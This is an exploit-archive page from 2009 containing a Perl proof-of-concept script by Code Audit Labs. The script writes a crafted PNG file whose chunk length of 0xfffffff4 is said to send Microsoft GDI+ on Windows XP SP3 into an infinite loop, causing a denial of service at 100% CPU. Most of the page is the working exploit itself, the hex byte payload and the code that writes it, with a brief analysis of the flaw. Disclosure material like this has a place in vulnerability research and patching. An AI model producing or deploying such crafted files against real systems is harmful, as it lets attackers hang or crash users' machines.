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Microsoft GDI+ Denial Of Service

Microsoft GDI+ Denial Of Service
Posted Apr 17, 2009
Site vulnhunt.com

Microsoft GDI+ crafted .png file denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 102ef9e2e3f4fc1485443ba38b935c4ee56a6f71803a062f2318d86b8ff21d06

Microsoft GDI+ Denial Of Service

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#! /usr/bin/perl
#CAL_gdiplug_poc.pl
#
# Mircosoft_gdiplug_png_infinity_loop_D.o.S POC
# by Code Audit Labs public 2009-04-17
# http://www.vulnhunt.com/
#
#Affected
#========
#test on full updated winxp sp3
#other version should be affected
#
#CVE: please assign to a CVE number
#
#DESCRIPTION
#===========
#
# The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S .
#
#
#ANALYSIS
#========
#
# png chunk
#
# {
# DWORD btChunkLen;
# CHAR btChunkType[4];
#} CHUNK_HEADER;

#if btChunkLen is 0xfffffff4, would cause code fall into infinity loop
#

open(Fin, ">poc.png") || die "can't create crash sample.$!";
binmode(Fin);
$data =
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" .
"\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" .
"\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" .
"\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8";

print Fin $data;

close(Fin);


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